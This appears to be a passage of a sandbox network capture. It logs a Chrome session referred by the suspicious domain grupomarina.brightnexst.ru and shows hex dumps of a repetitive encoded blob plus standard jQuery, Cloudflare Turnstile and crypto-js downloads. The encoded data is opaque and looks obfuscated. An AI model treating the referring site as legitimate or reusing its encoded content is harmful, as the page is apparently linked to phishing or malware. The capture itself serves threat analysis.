2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 776g776g44Wk776g776g776g44Wk776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44W
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 Data Ascii: 76g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49714	151.101.2.137	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:02 UTC	673	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:02 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 17 Mar 2025 20:55:02 GMT Age: 913885 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740060-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 1 X-Timer: S1742244903.862915,VS0,VE1 Vary: Accept-Encoding
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-17 20:55:02 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49715	104.18.95.41	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:02 UTC	714	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:02 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 17 Mar 2025 20:55:02 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 921f63932cb2421b-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49716	104.17.24.14	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:02 UTC	701	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:02 UTC	960	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 345777 Expires: Sat, 07 Mar 2026 20:55:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BUxB0siLAT8WHhG5u8jzaVujwkDloKL4EYAFqTUD%2FAHtrqAy7viB7Uw0k0jt6X78ykEH4YUtCaNWwMUewcMOfMMO2FD%2FrrCbhIGPi8SmxO5n3tzH%2BFVe5nBjAE69Fxul36wF7uR2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 921f63931e46eeee-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 20:55:02 UTC	409	IN	Data Raw: 37 62 66 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf1!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 Data Ascii: of globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cr
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 Data Ascii: .call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByte
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c Data Ascii: ypeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var 